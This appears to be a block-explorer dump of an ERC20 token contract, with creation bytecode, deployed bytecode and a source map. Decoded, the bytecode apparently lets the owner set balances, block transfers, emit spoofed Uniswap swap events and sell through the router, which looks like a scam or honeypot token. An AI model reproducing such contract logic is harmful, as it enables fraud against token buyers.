0160a01b03841660009081526002602052604090205415610e5b576001600160a01b038416600090815260026020908152604080832054600190925290912054610e51919061144f565b15610e5b57600080fd5b610e6581836114a9565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610e94908361144f565b6001600160a01b0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6001600160a01b038216600090815260016020526040812054610f149083611506565b9392505050565b610f2481611519565b60026000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b600854604080517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b505050506040513d6020811015610fed57600080fd5b50506008546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600854606083901c60008181526001602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a36111038161151f565b60016000606085901c610f2e565b6000806000600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561116457600080fd5b505afa158015611178573d6000803e3d6000fd5b505050506040513d606081101561118e57600080fd5b508051602091820151600854604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b1580156111fa57600080fd5b505afa15801561120e573d6000803e3d6000fd5b505050506040513d602081101561122457600080fd5b50516001600160a01b03161461124a57806dffffffffffffffffffffffffffff1661125c565b816dffffffffffffffffffffffffffff165b949350505050565b604080516002808252606080830184529283929190602083019080368337019050509050308160008151811061129657fe5b6001600160a01b03928316602091820292909201810191909152600754604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561130357600080fd5b505afa158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b505181518290600190811061133e57fe5b6001600160a01b0390921660209283029190910190910152905090565b604080516002808252606080830184526000939092919060208301908036833701905050905061138b848461152a565b90508060008151811061139a57fe5b60200260200101516001600060014211806113b3575060005b806113be5750426001105b6113c95760006113d6565b60606113d36116c1565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061140457fe5b602002602001015191505092915050565b306000908152600160209081526040808320548383528184206007546001600160a01b03168552909252909120556107a8848484846116c8565b600082820183811015610f14576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611500576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161151157fe5b049392505050565b600a0190565b620186a09081020490565b600754604080517f1f00ca7400000000000000000000000000000000000000000000000000000000815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b838110156115ae578181015183820152602001611596565b50505050905001935050505060006040518083038186803b1580156115d257600080fd5b505afa1580156115e6573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561162d57600080fd5b810190808051604051939291908464010000000082111561164d57600080fd5b90830190602082018581111561166257600080fd5b825186602082028301116401000000008211171561167f57600080fd5b82525081516020918201928201910280838360005b838110156116ac578181015183820152602001611694565b50505050905001604052505050905092915050565b3060601b90565b600760009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561176557818101518382015260200161174d565b505050509050019650505050505050600060405180830381600087803b15801561178e57600080fd5b505af11580156117a2573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405260208110156117e957600080fd5b810190808051604051939291908464010000000082111561180957600080fd5b90830190602082018581111561181e57600080fd5b825186602082028301116401000000008211171561183b57600080fd5b82525081516020918201928201910280838360005b83811015611868578181015183820152602001611850565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f657ee0057a0f7ef348be17c50514de7fba2176c06c11081e61edbd6bea5cd1f64736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101515760003560e01c806358a10259116100cd578063a9059cbb11610081578063dd62ed3e11610066578063dd62ed3e14610502578063ea923bae14610530578063ebfb412d146105a057610151565b8063a9059cbb146104b0578063bda02782146104dc57610151565b80638da5cb5b116100b25780638da5cb5b1461045857806395d89b411461047c578063a457c2d71461048457610151565b806358a102591461037357806370a082311461043257610151565b806323b872dd11610124578063316d295f11610109578063316d295f146102a757806339509351146103195780635765a5cc1461034557610151565b806323b872dd14610253578063313ce5671461028957610151565b806304ee65c01461015657806306fdde031461018e578063095ea7b31461020b57806318160ddd1461024b575b600080fd5b61017c6004803603602081101561016c57600080fd5b50356001600160a01b03166105c6565b60408051918252519081900360200190f35b6101966105d8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d05781810151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102376004803603604081101561022157600080fd5b506001600160a01b03813516906020013561068c565b604080519115158252519081900360200190f35b61017c6106a2565b6102376004803603606081101561026957600080fd5b506001600160a01b038135811691602081013590911690604001356106a8565b6102916106ca565b6040805160ff9092168252519081900360200190f35b610317600480360360408110156102bd57600080fd5b8101906020810181356401000000008111156102d857600080fd5b8201836020820111156102ea57600080fd5b8035906020019184602083028401116401000000008311171561030c57600080fd5b9193509150356106eb565b005b6102376004803603604081101561032f57600080fd5b506001600160a01b0381351690602001356107ae565b61017c6004803603604081101561035b57600080fd5b506001600160a01b03813581169160200135166107c7565b6102376004803603608081101561038957600080fd5b8135916001600160a01b0360208201351691604082013591908101906080810160608201356401000000008111156103c057600080fd5b8201836020820111156103d257600080fd5b803590602001918460208302840111640100000000831117156103f457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506107e1945050505050565b61017c6004803603602081101561044857600080fd5b50356001600160a01b0316610882565b61046061089d565b604080516001600160a01b039092168252519081900360200190f35b6101966108ac565b6102376004803603604081101561049a57600080fd5b506001600160a01b03813516906020013561092b565b610237600480360360408110156104c657600080fd5b506001600160a01b038135169060200135610992565b61017c600480360360208110156104f257600080fd5b50356001600160a01b031661099f565b61017c6004803603604081101561051857600080fd5b506001600160a01b03813581169160200135166109b1565b6103176004803603604081101561054657600080fd5b81019060208101813564010000000081111561056157600080fd5b82018360208201111561057357600080fd5b8035906020019184602083028401116401000000008311171561059557600080fd5b9193509150356109da565b610317600480360360208110156105b657600080fd5b50356001600160a01b0316610a85565b60026020526000908152604090205481565b60058054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106825780601f1061065757610100808354040283529160200191610682565b820191906000526020600020905b81548152906001019060200180831161066557829003601f168201915b5050505050905090565b6000610699338484610ba1565b50600192915050565b60045490565b60006106b5843384610c8b565b6106c0848484610d22565b5060019392505050565b60085474010000000000000000000000000000000000000000900460ff1681565b6003546001600160a01b0316331461074a576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156107a85742156107a0576000610780606086868581811061076e57fe5b9050602002013560001c901c84610ef1565b905061079e85858481811061079157fe5b9050602002013582610f1b565b505b60010161074d565b50505050565b6000336106c08185856107c183836109b1565b01610ba1565b600060208181529281526040808220909352908152205481565b6003546000906001600160a01b03163314610843576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82518110156108765761086e83828151811061085e57fe5b6020026020010151878688610f4c565b600101610846565b50600195945050505050565b6001600160a01b031660009081526001602052604090205490565b6003546001600160a01b031681565b60068054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106825780601f1061065757610100808354040283529160200191610682565b6000338161093982866109b1565b90508381101561097a5760405162461bcd60e51b81526004018080602001828103825260258152602001806119316025913960400191505060405180910390fd5b6109878286868403610ba1565b506001949350505050565b6000610699338484610d22565b60016020526000908152604090205481565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b6003546001600160a01b03163314610a39576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b828110156107a8574215610a7d576000610a5d606086868581811061076e57fe5b9050610a7b858584818110610a6e57fe5b90506020020135826110a2565b505b600101610a3c565b6003546001600160a01b03163314610ae4576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b6000620186a0610b6c600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b3b57600080fd5b505afa158015610b4f573d6000803e3d6000fd5b505050506040513d6020811015610b6557600080fd5b5051611111565b6201869f0281610b7857fe5b0490506000610b85611264565b90506000610b93838361135b565b90506107a883828487611415565b6001600160a01b038316610be65760405162461bcd60e51b815260040180806020018281038252602481526020018061190d6024913960400191505060405180910390fd5b6001600160a01b038216610c2b5760405162461bcd60e51b81526004018080602001828103825260228152602001806118a06022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610c9784846109b1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107a85781811015610d15576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b6107a88484848403610ba1565b6001600160a01b038316610d675760405162461bcd60e51b81526004018080602001828103825260258152602001806118e86025913960400191505060405180910390fd5b6001600160a01b038216610dac5760405162461bcd60e51b815260040180806020018281038252602381526020018061187d6023913960400191505060405180910390fd5b6001600160a01b03831660009081526001602052604090205481811015610e045760405162461bcd60e51b81526004018080602001828103825260268152602001806118c26026913960400191505060405180910390fd5b6001600160a01b03841660009081526002602052604090205415610e5b576001600160a01b038416600090815260026020908152604080832054600190925290912054610e51919061144f565b15610e5b57600080fd5b610e6581836114a9565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610e94908361144f565b6001600160a01b0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b6001600160a01b038216600090815260016020526040812054610f149083611506565b9392505050565b610f2481611519565b60026000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b600854604080517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b505050506040513d6020811015610fed57600080fd5b50506008546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b600854606083901c60008181526001602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a36111038161151f565b60016000606085901c610f2e565b6000806000600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561116457600080fd5b505afa158015611178573d6000803e3d6000fd5b505050506040513d606081101561118e57600080fd5b508051602091820151600854604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b1580156111fa57600080fd5b505afa15801561120e573d6000803e3d6000fd5b505050506040513d602081101561122457600080fd5b50516001600160a01b03161461124a57806dffffffffffffffffffffffffffff1661125c565b816dffffffffffffffffffffffffffff165b949350505050565b604080516002808252606080830184529283929190602083019080368337019050509050308160008151811061129657fe5b6001600160a01b03928316602091820292909201810191909152600754604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561130357600080fd5b505afa158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b505181518290600190811061133e57fe5b6001600160a01b0390921660209283029190910190910152905090565b604080516002808252606080830184526000939092919060208301908036833701905050905061138b848461152a565b90508060008151811061139a57fe5b60200260200101516001600060014211806113b3575060005b806113be5750426001105b6113c95760006113d6565b60606113d36116c1565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061140457fe5b602002602001015191505092915050565b306000908152600160209081526040808320548383528184206007546001600160a01b03168552909252909120556107a8848484846116c8565b600082820183811015610f14576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115611500576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600081838161151157fe5b049392505050565b600a0190565b620186a09081020490565b600754604080517f1f00ca7400000000000000000000000000000000000000000000000000000000815260048101858152602482019283528451604483015284516060946001600160a01b031693631f00ca749388938893909291606401906020808601910280838360005b838110156115ae578181015183820152602001611596565b50505050905001935050505060006040518083038186803b1580156115d257600080fd5b505afa1580156115e6573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201604052602081101561162d57600080fd5b810190808051604051939291908464010000000082111561164d57600080fd5b90830190602082018581111561166257600080fd5b825186602082028301116401000000008211171561167f57600080fd5b82525081516020918201928201910280838360005b838110156116ac578181015183820152602001611694565b50505050905001604052505050905092915050565b3060601b90565b600760009054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561176557818101518382015260200161174d565b505050509050019650505050505050600060405180830381600087803b15801561178e57600080fd5b505af11580156117a2573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405260208110156117e957600080fd5b810190808051604051939291908464010000000082111561180957600080fd5b90830190602082018581111561181e57600080fd5b825186602082028301116401000000008211171561183b57600080fd5b82525081516020918201928201910280838360005b83811015611868578181015183820152602001611850565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f657ee0057a0f7ef348be17c50514de7fba2176c06c11081e61edbd6bea5cd1f64736f6c63430007060033

Deployed Bytecode Sourcemap

9250:10509:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3674:36;;;;;;;;;;;;;;;;-1:-1:-1;3674:36:0;-1:-1:-1;;;;;3674:36:0;;:::i;:::-;;;;;;;;;;;;;;;;4297:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6125:159;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6125:159:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4610:99;;;:::i;6292:215::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6292:215:0;;;;;;;;;;;;;;;;;:::i;9343:26::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;19022:732;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;19022:732:0;-1:-1:-1;19022:732:0;;:::i;:::-;;6515:243;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6515:243:0;;;;;;;;:::i;3568:56::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3568:56:0;;;;;;;;;;:::i;9840:236::-;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9840:236:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9840:236:0;;-1:-1:-1;9840:236:0;;-1:-1:-1;;;;;9840:236:0:i;5703:110::-;;;;;;;;;;;;;;;;-1:-1:-1;5703:110:0;-1:-1:-1;;;;;5703:110:0;;:::i;3717:20::-;;;:::i;:::-;;;;-1:-1:-1;;;;;3717:20:0;;;;;;;;;;;;;;4507:95;;;:::i;6766:405::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6766:405:0;;;;;;;;:::i;5821:151::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5821:151:0;;;;;;;;:::i;3631:36::-;;;;;;;;;;;;;;;;-1:-1:-1;3631:36:0;-1:-1:-1;;;;;3631:36:0;;:::i;5980:137::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5980:137:0;;;;;;;;;;:::i;17526:734::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17526:734:0;-1:-1:-1;17526:734:0;;:::i;11259:273::-;;;;;;;;;;;;;;;;-1:-1:-1;11259:273:0;-1:-1:-1;;;;;11259:273:0;;:::i;3674:36::-;;;;;;;;;;;;;:::o;4297:91::-;4375:5;4368:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4342:13;;4368:12;;4375:5;;4368:12;;4375:5;4368:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4297:91;:::o;6125:159::-;6200:4;6217:37;6226:10;6238:7;6247:6;6217:8;:37::i;:::-;-1:-1:-1;6272:4:0;6125:159;;;;:::o;4610:99::-;4689:12;;4610:99;:::o;6292:215::-;6381:4;6398:41;6414:4;6420:10;6432:6;6398:15;:41::i;:::-;6450:27;6460:4;6466:2;6470:6;6450:9;:27::i;:::-;-1:-1:-1;6495:4:0;6292:215;;;;;:::o;9343:26::-;;;;;;;;;:::o;19022:732::-;4160:5;;-1:-1:-1;;;;;4160:5:0;4169:10;4160:19;4152:55;;;;;-1:-1:-1;;;4152:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;19167:9:::1;19152:595;19182:15:::0;;::::1;19152:595;;;19259:35;:113:::0;19236:500:::1;;19426:10;19448:241;19661:2;19641:4;;19646:1;19641:17;;;;;;;;;;;;;19623:36;;:40;;19676:2;19448:14;:241::i;:::-;19426:263;;19700:24;19712:4;;19717:1;19712:7;;;;;;;;;;;;;19721:2;19700:11;:24::i;:::-;19236:500;;19199:3;;19152:595;;;;19022:732:::0;;;:::o;6515:243::-;6604:4;6639:10;6660:68;6639:10;6678:7;6717:10;6687:27;6639:10;6678:7;6687:9;:27::i;:::-;:40;6660:8;:68::i;3568:56::-;;;;;;;;;;;;;;;;;;;;;;:::o;9840:236::-;4160:5;;9937:4;;-1:-1:-1;;;;;4160:5:0;4169:10;4160:19;4152:55;;;;;-1:-1:-1;;;4152:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;9959:9:::1;9954:93;9978:1;:8;9974:1;:12;9954:93;;;10008:27;10020:1;10022;10020:4;;;;;;;;;;;;;;10026:1;10029;10032:2;10008:11;:27::i;:::-;9988:3;;9954:93;;;-1:-1:-1::0;10064:4:0::1;::::0;9840:236;-1:-1:-1;;;;;9840:236:0:o;5703:110::-;-1:-1:-1;;;;;5795:10:0;5768:7;5795:10;;;:1;:10;;;;;;;5703:110::o;3717:20::-;;;-1:-1:-1;;;;;3717:20:0;;:::o;4507:95::-;4587:7;4580:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4554:13;;4580:14;;4587:7;;4580:14;;4587:7;4580:14;;;;;;;;;;;;;;;;;;;;;;;;6766:405;6860:4;6895:10;6860:4;6943:27;6895:10;6962:7;6943:9;:27::i;:::-;6916:54;;7009:15;6989:16;:35;;6981:85;;;;-1:-1:-1;;;6981:85:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7079:62;7088:7;7097;7125:15;7106:16;:34;7079:8;:62::i;:::-;-1:-1:-1;7159:4:0;;6766:405;-1:-1:-1;;;;6766:405:0:o;5821:151::-;5892:4;5909:33;5919:10;5931:2;5935:6;5909:9;:33::i;3631:36::-;;;;;;;;;;;;;:::o;5980:137::-;-1:-1:-1;;;;;6090:10:0;;;6063:7;6090:10;;;;;;;;;;;:19;;;;;;;;;;;;;5980:137::o;17526:734::-;4160:5;;-1:-1:-1;;;;;4160:5:0;4169:10;4160:19;4152:55;;;;;-1:-1:-1;;;4152:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;17672:9:::1;17657:596;17687:15:::0;;::::1;17657:596;;;17764:35;:113:::0;17741:501:::1;;17931:10;17953:241;18166:2;18146:4;;18151:1;18146:17;;;;;;17953:241;17931:263;;18205:25;18218:4;;18223:1;18218:7;;;;;;;;;;;;;18227:2;18205:12;:25::i;:::-;17741:501;;17704:3;;17657:596;;11259:273:::0;4160:5;;-1:-1:-1;;;;;4160:5:0;4169:10;4160:19;4152:55;;;;;-1:-1:-1;;;4152:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;11316:15:::1;11362:6;11335:15;11339:3;;;;;;;;;-1:-1:-1::0;;;;;11339:3:0::1;-1:-1:-1::0;;;;;11339:8:0::1;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;11339:10:0;11335:3:::1;:15::i;:::-;11353:5;11335:23;11334:34;;;;;;11316:52;;11379:26;11408:5;:3;:5::i;:::-;11379:34;;11424:14;11441:29;11451:7;11460:9;11441;:29::i;:::-;11424:46;;11481:43;11493:7;11502:6;11510:9;11521:2;11481:11;:43::i;7767:345::-:0;-1:-1:-1;;;;;7872:21:0;;7864:70;;;;-1:-1:-1;;;7864:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7953:21:0;;7945:68;;;;-1:-1:-1;;;7945:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8026:10:0;;;:1;:10;;;;;;;;;;;:19;;;;;;;;;;;;;:28;;;8070:34;;;;;;;;;;;;;;;;;7767:345;;;:::o;8120:395::-;8224:24;8251:27;8261:7;8270;8251:9;:27::i;:::-;8224:54;;8313:17;8293:16;:37;8289:209;;8376:6;8356:16;:26;;8347:69;;;;;-1:-1:-1;;;8347:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;8433:53;8442:7;8451;8479:6;8460:16;:25;8433:8;:53::i;7179:580::-;-1:-1:-1;;;;;7277:18:0;;7269:68;;;;-1:-1:-1;;;7269:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7356:16:0;;7348:64;;;;-1:-1:-1;;;7348:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7447:7:0;;7425:19;7447:7;;;:1;:7;;;;;;7473:21;;;;7465:72;;;;-1:-1:-1;;;7465:72:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7552:7:0;;7562:1;7552:7;;;:1;:7;;;;;;:11;7548:78;;-1:-1:-1;;;;;7591:7:0;;;;;;:1;:7;;;;;;;;;7600:1;:7;;;;;;;7587:21;;7591:7;7587:3;:21::i;:::-;:26;7579:35;;;;;;7648:24;7652:11;7665:6;7648:3;:24::i;:::-;-1:-1:-1;;;;;7638:7:0;;;;;;;:1;:7;;;;;;:34;;;;7695:5;;;;;;;7691:18;;7702:6;7691:3;:18::i;:::-;-1:-1:-1;;;;;7683:5:0;;;;;;;:1;:5;;;;;;;;;:26;;;;7725;;;;;;;7683:5;;7725:26;;;;;;;;;;;;;7179:580;;;;:::o;11740:128::-;-1:-1:-1;;;;;11848:6:0;;11813:7;11848:6;;;:1;:6;;;;;;11840:20;;11856:3;11840:7;:20::i;:::-;11833:27;11740:128;-1:-1:-1;;;11740:128:0:o;14781:465::-;15194:44;15233:3;15194:10;:44::i;:::-;14893:1;:290;15140:2;15117:25;;;14936:208;-1:-1:-1;;;;;14893:290:0;;;;;;;;;;;;-1:-1:-1;14893:290:0;:345;-1:-1:-1;;14781:465:0:o;15254:342::-;15411:5;;15366:64;;;;;;-1:-1:-1;;;;;15366:64:0;;;;;;;15411:5;;;15366:64;;;;;;;;;;;;:28;;;;;;:64;;;;;;;;;;;;;;;15411:5;15366:28;:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;15463:5:0;;15446:42;;;;;;;;-1:-1:-1;;;;;15446:42:0;;;;15463:5;;15446:42;;;;;;15366:64;15446:42;;;15504:84;;;;;;15563:1;15504:84;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15504:84:0;;;15509:42;;15504:84;;;;;;;;;15254:342;;;;:::o;12803:1043::-;13165:5;;13140:2;13117:25;;;13172:304;;;;:1;:304;;;;;;;;;;12930:557;;;;;;;-1:-1:-1;;;;;13165:5:0;;;;12930:557;;;;;;;;;;13789:45;13829:3;13789:11;:45::i;:::-;13488:1;:290;13735:2;13712:25;;;13531:208;;11540:190;11587:7;11608:10;11620;11636:5;;;;;;;;;-1:-1:-1;;;;;11636:5:0;-1:-1:-1;;;;;11636:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11636:19:0;;;;;;;11674:5;;11636:19;11674:14;;;;;;;11636:19;;-1:-1:-1;11636:19:0;;-1:-1:-1;;;;;;11674:19:0;;;;:5;;;:12;;:14;;;;;11636:19;11674:14;;;;;;:5;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11674:14:0;-1:-1:-1;;;;;11674:19:0;;11673:49;;11719:2;11711:11;;11673:49;;;11705:2;11697:11;;11673:49;11666:56;11540:190;-1:-1:-1;;;;11540:190:0:o;10086:202::-;10186:16;;;10200:1;10186:16;;;10124;10186;;;;;10124;;;10186;10200:1;10186:16;;;;;;;;;;-1:-1:-1;10186:16:0;10182:20;;10228:4;10213:1;10215;10213:4;;;;;;;;-1:-1:-1;;;;;10213:20:0;;;:4;;;;;;;;;;:20;;;;10251:3;;:10;;;;;;;;:3;;;;;:8;;:10;;;;;10213:4;;10251:10;;;;;:3;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10251:10:0;10244:4;;:1;;10246;;10244:4;;;;;;-1:-1:-1;;;;;10244:17:0;;;:4;;;;;;;;;;;:17;10279:1;-1:-1:-1;10086:202:0;:::o;15853:766::-;16034:16;;;16048:1;16034:16;;;15993:22;16034:16;;;;;15927:7;;15993:22;;16034:16;16048:1;16034:16;;;;;;;;;;-1:-1:-1;16034:16:0;16026:24;;16093:16;16098:7;16107:1;16093:4;:16::i;:::-;16085:24;;16495:5;16531:1;16495:48;;;;;;;;;;;;;;16120:1;:334;16197:1;16142:25;:57;:101;;;-1:-1:-1;16229:1:0;16142:101;:172;;;-1:-1:-1;16289:25:0;16273:1;16255:59;16142:172;:301;;16440:1;16142:301;;;16409:2;16390:16;:2;:16::i;:::-;16372:39;;16142:301;-1:-1:-1;;;;;16120:334:0;;;;;;;;;;;;-1:-1:-1;16120:334:0;;;:423;;;;;;;;16573:38;;:5;;-1:-1:-1;16573:38:0;;;;;;;;;;16556:55;;;15853:766;;;;:::o;10296:245::-;10462:4;10452:16;;;;:1;:16;;;;;;;;;10419;;;;;;10444:3;;-1:-1:-1;;;;;10444:3:0;10419:30;;;;;;;;:49;10479:5